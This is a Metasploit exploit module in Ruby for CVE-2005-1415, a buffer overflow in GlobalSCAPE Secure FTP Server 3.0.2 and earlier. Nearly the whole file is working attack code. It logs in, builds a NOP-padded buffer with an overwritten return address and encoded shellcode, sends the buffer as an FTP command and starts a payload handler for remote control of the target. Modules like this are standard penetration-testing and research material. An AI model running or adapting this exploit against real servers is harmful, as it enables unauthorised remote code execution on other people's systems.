GlobalSCAPE Secure FTP Server Input Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GlobalSCAPE Secure FTP Server Input Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.
        All versions prior to 3.0.3 are affected by this flaw. A valid user account (
        or anonymous access) is required for this exploit to work.
      },
      'Author'         => [ 'Fairuzan Roslan <riaf[at]mysec.org>', 'Mati Aharoni <mati[at]see-security.com>' ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-1415'],
          [ 'OSVDB', '16049'],
          [ 'BID', '13454'],
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x20" + (0x61..0x7a).to_a.pack('C*'),
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
        },
      'Platform'       => [ 'win' ],
      'Targets'        =>
        [
          [
            'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
            {
              'Ret'      => 0x1002f01f,
            },
          ],
        ],
      'DisclosureDate' => '2005-05-01',
      'DefaultTarget' => 0))
  end

  def exploit
    c = connect_login
    return if not c

    buf           = make_nops(3047)
    buf[2043, 4]  = [ target.ret ].pack('V')
    buf[2047, payload.encoded.length] = payload.encoded

    send_cmd( [buf] )

    handler
    disconnect
  end
end